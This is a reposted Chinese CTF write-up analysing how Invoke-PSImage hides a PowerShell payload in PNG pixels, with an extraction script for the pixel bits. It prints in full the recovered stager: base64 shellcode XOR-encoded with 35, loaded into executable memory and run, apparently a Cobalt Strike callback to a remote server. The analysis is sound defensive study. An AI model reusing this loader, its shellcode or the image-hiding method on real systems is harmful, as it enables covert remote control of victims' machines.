从一道题分析Invoke-PSImage隐藏webshell到图片

admin 2023年12月10日08:43:24评论29 views字数 6141阅读20分28秒阅读模式

从一道题分析Invoke-PSImage隐藏webshell到图片

前言

写这篇文章的目的主要是群友给我了一道湖南省赛的一道恶意webshell隐藏到图片的题目,感觉之前没怎么遇到过,正好借助这个题目进行学习一下。

分析

下载一下Invoke-PSImage:peewpw/Invoke-PSImage: Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute (github.com)

看一下脚本中怎么定义的:

This tool can either create an image with just the target data, or can embed the payload in
an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in
each pixel (for as many pixels as are needed for the payload). Image quality will suffer as
a result, but it still looks decent. The image is saved as a PNG, and can be losslessly
compressed without affecting the ability to execute the payload as the data is stored in the
colors themselves. It can accept most image types as input, but output will always be a PNG
because it needs to be lossless

其实脚本已经告诉我们如何进行LSB隐写的

  • 首先,图片像素使用的是RGB模式

  • 之后各选用RGB其中两个颜色分量的低4位存储payload

  • 而且,是对原有图片原有颜色分量的低位进行替换,所以图片的质量会有所下降,正常的LSB隐写是替换RGB三个颜色分量的最低一位,每个像素存储3位的信息,但Invoke-PSImage却2个颜色分量各替换4位,这样存储的信息量大了,但是图片质量也下去了,可以看出前后的区别,如果能知道原有图片的样子,其实能一眼看出经过Invoke-PSImage处理过的图片的区别的。

  • 而且输出的图片一定是PNG格式的

隐写原理分析

查看powershell脚本

for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}

这一段其实就是LSB隐写的原理,让我们解析一下

  • 一开始就是一个循环,遍历了一个数组 $rgbValues,数组长度除以3的结果作为循环次数

  • 这里我们假设有写入$counter的第一个数据为0x53,那么$paybyte1=0x53/0x10=0x05,取商

  • 同理,$paybyte2=0x53&0x0f=0x03

  • $paybyte3情况有点特殊,这里就不再演示,因为这里涉及随机数填充,如果我们写入的payload的长度比图片像素的长度小,那么图片多出来的像素会用相同格式进行填充为随机数

  • 之后开始对原像素进行填充payload,假定这里原像素为(0x52,0x51,0x50),那么:$rgbValues[0]=0x52 & 0xf0 | 0x05=0x55

  • 同理进行计算得到,$rgbValues[1]=0x51 & 0xf0 | 0x03=0x53

  • 由于$paybyte3的特殊,这里也不再演示

其实这里也看出来我们的payload存储在G,B通道的低四位,而我们的R通道的低四位则是填充随机数

这里我们结合湖南省赛的题目进行结合分析

实例分析

附件是一个PNG.exe.zip,因为可能涉及CS上线的问题,我们这里用虚拟机进行解压打开,之后利用Stegsolve看一下RGB三个颜色分量的低位隐写特征

从一道题分析Invoke-PSImage隐藏webshell到图片

从一道题分析Invoke-PSImage隐藏webshell到图片



之后看一下低位的数据

从一道题分析Invoke-PSImage隐藏webshell到图片

发现是有东西的,只不过没有什么特征,我们写一个脚本进行提取一下图片G,B颜色分量的低4位

from PIL import Image

def solove_png(image_path):
img = Image.open(image_path)
width, height = img.size
extract_data = bytearray()
for y in range(height):
for x in range(width):
pixels = img.getpixel((x, y))

extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)

extract_data.append(extract_byte)

return extract_data

image_path = "flag.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
f.write(data)

之后分析一下powershell脚本

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGgWS1cjGpI0hZe6GsfELrv0dMOulHAdYaPaOVU7KkUG3g9OFsSjOXFYa0X3UNWMREMuv9o41bGg8w+1tsidMV4cBM7ydEvK6WJeamCBvCN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDdGx0FRcYA3dRSkdGTVcMFQ0TGAN3TFZASxgDbmJvYGlwCi4pI2/utw7TJPc4/wUOni9gVXhvdM0Qja7us+7OvcQ8A+HE4zASUN4YSM/gvJ816irBImYFBycRAxrjhPrBCgJlUBwzNQroE9+HJMM6J1h7shBlW9af64n/lwSlJtmD09JPhPgwV01SBTQyEkdN95JzlNJ8P3P+M8bgzMrdWVLJu5x0RyLX6ADvDz4STNNq49SNn9oWbjxK1ss6+lG9p+X0DM5rRczvjT22x0zZO77IZv0pMdstbnc/EnEH9Xf3lZt9Oq2a2cR6NuD9HsMjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIXEQ0REhENECNqtSHx')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

简单审计一下,其实就是,先base解密一下,然后xor 35即可

从一道题分析Invoke-PSImage隐藏webshell到图片

得到服务器的IP,端口可以猜测是80,8080,443

参考

Invoke-PSImage利用分析 - 知乎 (zhihu.com)

来源:【https://xz.aliyun.com/】,感谢【Evi1s7

原文始发于微信公众号(衡阳信安):从一道题分析Invoke-PSImage隐藏webshell到图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月10日08:43:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一道题分析Invoke-PSImage隐藏webshell到图片http://cn-sec.com/archives/2280063.html

发表评论

匿名网友 填写信息